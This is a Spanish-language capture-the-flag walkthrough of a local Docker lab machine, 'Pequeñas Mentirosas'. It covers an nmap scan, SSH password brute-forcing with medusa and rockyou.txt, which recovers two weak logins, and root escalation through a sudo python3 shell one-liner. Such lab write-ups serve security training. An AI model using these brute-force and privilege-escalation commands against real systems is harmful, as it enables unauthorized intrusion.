PEQUEÑAS_MENTIROSAS

DESPLIEGUE

1- Descargamos el zip de la plataforma. Con unzip descomprimimos

```
unzip pequenas-mentirosas.zip

Archive:  pequenas-mentirosas.zip
inflating: auto_deploy.sh
inflating: pequenas-mentirosas.tar
```

2- Y ahora desplegamos la máquina

```
bash auto_deploy.sh pequenas-mentirosas.tar

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla
```

CONECTIVIDAD

```
ping -c1 172.17.0.2
```

```
└─# ping -c1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.280 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.280/0.280/0.280/0.000 ms
```

ESCANEO DE PUERTOS

```
nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2
```

```
└─# nmap -p- -Pn -sSVC --min-rate 5000 172.17.0.2 -T 5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 11:47 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 9e:10:58:a5:1a:42:9d:be:e5:19:d1:2e:79:9c:ce:21 (ECDSA)
|_  256 6b:a3:a8:84:e0:33:57:fc:44:49:69:41:7d:d3:c9:92 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

foto puerto 80

Buscando información me encuentro con esto

https://es.wikipedia.org/wiki/A_(personaje_de_Pretty_Little_Liars)

A, es un personaje de la serie

EXPLOTACIÓN

Como no veo nada más le tiro medusa a este usuario

```
medusa -h 172.17.0.2 -u a -P /usr/share/wordlists/rockyou.txt -M ssh | grep "SUCCESS"
```

```
└─# medusa -h 172.17.0.2 -u a -P /usr/share/wordlists/rockyou.txt -M ssh | grep "SUCCESS"
ACCOUNT FOUND: [ssh] Host: 172.17.0.2 User: a Password: secret [SUCCESS]
```

a/secret

Vamos por SSH

```
└─# ssh a@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:k21i9gNka9bAHgFRx7TjoBoqirDbAkhw/dp9dfTXRRs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
a@172.17.0.2's password:
Linux a3ff75af8eed 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
a@a3ff75af8eed:~$
```

ESCALADA DE PRIVILEGIOS

Después de dar muchas vueltas y no encontrar nada, lo que me queda es

usar medusa contra el usuario spencer por SSH

a@a3ff75af8eed:/home$ ls
a spencer
a@a3ff75af8eed:/home$

medusa -h 172.17.0.2 -u spencer -P /usr/share/wordlists/rockyou.txt -M ssh | grep "SUCCESS"

spencer/password1

```
└─# medusa -h 172.17.0.2 -u spencer -P /usr/share/wordlists/rockyou.txt -M ssh | grep "SUCCESS"
ACCOUNT FOUND: [ssh] Host: 172.17.0.2 User: spencer Password: password1 [SUCCESS]
```

Vamos.otra vez por SSH

```
└─# ssh spencer@172.17.0.2
spencer@172.17.0.2's password:
Linux a3ff75af8eed 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
spencer@a3ff75af8eed:~$
```

Buscamos permisos sudo

```
spencer@a3ff75af8eed:~$ sudo -l
Matching Defaults entries for spencer on a3ff75af8eed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User spencer may run the following commands on a3ff75af8eed:
    (ALL) NOPASSWD: /usr/bin/python3
spencer@a3ff75af8eed:~$
```

Consultando en

https://gtfobins.github.io/gtfobins/python/#sudo

Nos hacemos root

```
spencer@a3ff75af8eed:~$ sudo python3 -c 'import os; os.system("/bin/sh")'
# whoami
root
#
```

🖖 Buen día